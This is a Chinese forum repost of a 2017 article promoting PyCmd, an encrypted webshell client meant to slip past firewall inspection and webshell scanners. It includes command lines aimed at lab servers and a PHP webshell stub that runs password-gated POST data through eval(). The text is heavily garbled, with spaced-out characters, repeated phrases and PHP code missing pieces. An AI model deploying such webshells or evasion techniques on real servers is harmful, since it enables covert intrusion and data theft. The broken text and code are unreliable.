搜索

[11572] 2017-07-21_浅析PyC加密隐形木马

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2017-07-21_浅析PyCmd加密隐形木马 浅 析 P y C m d 加 密 隐 形 木 马 n m a s k   F r e e B u f   2 0 1 7 - 0 7 - 2 1 之 前 写 了 一 个 基 于 之 前 写 了 一 个 基 于 p y t h o n 的 一 句 话 木 马 客 户 端 程 序 ， 这 个 程 序 的 作 用 大 致 就 是 为 了 绕 过 防 护 设 备 ， 使 敏 感 数 据 的 一 句 话 木 马 客 户 端 程 序 ， 这 个 程 序 的 作 用 大 致 就 是 为 了 绕 过 防 护 设 备 ， 使 敏 感 数 据 能 在 网 络 里 自 由 穿 梭 。 由 于 编 程 能 力 有 限 ， 当 时 以 能 在 网 络 里 自 由 穿 梭 。 由 于 编 程 能 力 有 限 ， 当 时 以 p y t h o n 程 序 作 为 客 户 端 ， 程 序 作 为 客 户 端 ， p h p 代 码 作 为 服 务 端 ， 勉 强 能 用 ， 但 代 码 作 为 服 务 端 ， 勉 强 能 用 ， 但 是 缺 乏 是 缺 乏 j s p 的 服 务 端 ， 使 之 功 能 很 局 限 。 幸 好 有 大 神 的 服 务 端 ， 使 之 功 能 很 局 限 。 幸 好 有 大 神 c a o m e i 相 助 相 助 < 点 击 阅 读 原 文 查 看 链 接 点 击 阅 读 原 文 查 看 链 接 > ， 帮 助 实 现 了 ， 帮 助 实 现 了 j s p 端 的 端 的 代 码 ， 故 将 两 者 相 结 合 ， 方 便 使 用 。 代 码 ， 故 将 两 者 相 结 合 ， 方 便 使 用 。 P y C m d 适 用 环 境 适 用 环 境 当 服 务 器 允 许 上 传 任 意 文 件 ， 且 对 文 件 内 容 不 进 行 审 计 检 查 ， 但 由 于 其 网 络 边 界 有 防 火 墙 会 拦 截 审 计 通 信 的 数 据 。 这 时 我 们 能 成 功 上 传 一 句 话 木 马 ， 然 而 连 接 菜 刀 的 时 候 会 出 现 5 0 0 错 误 ， 此 时 可 以 使 用 p y c m d 工 具 ， 因 为 其 会 对 互 相 通 信 的 内 容 加 密 处 理 。 P y C m d 使 用 使 用 我 这 里 准 备 了 2 个 靶 机 ， 分 别 装 有 p h p 与 j s p 的 运 行 环 境 ， 用 来 模 拟 真 实 的 网 站 服 务 器 。 为 了 方 便 ， 我 已 经 把 服 务 端 木 马 程 序 放 到 了 服 务 器 网 站 目 录 下 ： p h p 网 站 木 马 地 址 ： 1 0 . 0 . 3 . 1 3 / t e s t / p . p h p j s p 网 站 木 马 地 址 ：   1 9 2 . 1 6 8 . 1 0 . 1 4 9 : 8 0 8 0 / h e a d g m p / u p l o a d / 2 0 1 7 _ 0 7 _ 1 3 / 1 1 . j s p 查 看 s h e l l 的 情 况 ： 此 时 ， 运 行 P y C m d . p y 程 序 ： p y t h o n   P y C m d . p y   - u   h t t p : / / 1 0 . 0 . 3 . 1 3 / t e s t / p . p h p   - p   t e s t [ - - p r o x y ] 或 者 p y t h o n   P y C m d . p y   - u   h t t p : / / 1 9 2 . 1 6 8 . 1 0 . 1 4 9 : 8 0 8 0 / h e a d g m p / u p l o a d / 2 0 1 7 _ 0 7 _ 1 3 / 1 1 . j s p   - p   t e s t   [ - - p r o x y ]
程 序 会 自 动 判 断 输 入 的 网 站 类 型 ， 这 里 是 j s p 类 型 的 网 站 。 运 行 程 序 可 输 入 以 下 参 数 ： - h   查 看 帮 助 信 息 - u   网 站 木 马 地 址 - p   木 马 s h e l l 密 码 – p r o x y   开 启 本 地 代 理 （ 方 便 调 试 ） 注 ： 当 开 启 本 地 调 试 ， 需 运 行 F i d d l e r 程 序 ， 或 者 其 他 抓 包 软 件 。 P y C m d 数 据 加 密 数 据 加 密 P y C m d 程 序 的 长 处 在 于 它 对 往 来 的 数 据 进 行 了 加 密 ， 可 以 绕 过 防 火 墙 对 数 据 内 容 的 校 验 。 当 执 行 c m d 命 令 时 ， 通 过 F i d d l e r 抓 包 查 看 数 据 ： 查 看 回 报 信 息 ： P y C m d 木 马 隐 身 木 马 隐 身 用 D 盾 扫 描 上 传 的 木 马 服 务 端 文 件 ， 显 示 为 正 常 文 件 ， 成 功 躲 过 查 杀 （ 2 0 1 6 . 9 . 1 8 日 检 测 结 果 ） 这 里 演 示 p h p 木 马 查 杀 ： < ? p h p $ s t r i n g = ’ ’ ;
$ p a s s w o r d = ’ t e s t ’ ; i f ( i s s e t ( p a s s w o r d ] ) ) { _ P O S T [ $ p a s s w o r d ] ; f o r ( i < s t r l e n ( i + = 2 ) { h e x [ h e x [ $ i + 1 ] ) ) ; } @ e v a l ( $ s t r i n g ) ; } e l s e { e c h o   “ T h i s   i s   a   T e s t ! ” ; } ? > 工 具 下 载 工 具 下 载 P y C m d   下 载 地 址 < 点 击 阅 读 原 文 查 看 链 接 > 项 目 地 址 ： h t t p s : / / g i t h u b . c o m / t e n g z h a n g c h a o / P y C m d 说 明 ： 绕 过 防 火 墙 检 测 的 方 法 很 多 ， 这 里 只 是 提 供 了 一 种 思 路 ， p y c m d 是 我 去 年 写 的 一 款 工 具 ， 最 近 打 算 完 善 其 功 能 ， 代 码 已 经 开 源 。 原 文 连 接 ： P y C m d   加 密 隐 形 木 马 < 点 击 阅 读 原 文 查 看 链 接 > *   本 文 作 者 ： n m a s k ， 转 载 请 注 明 来 自 F r e e B u f . C O M 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理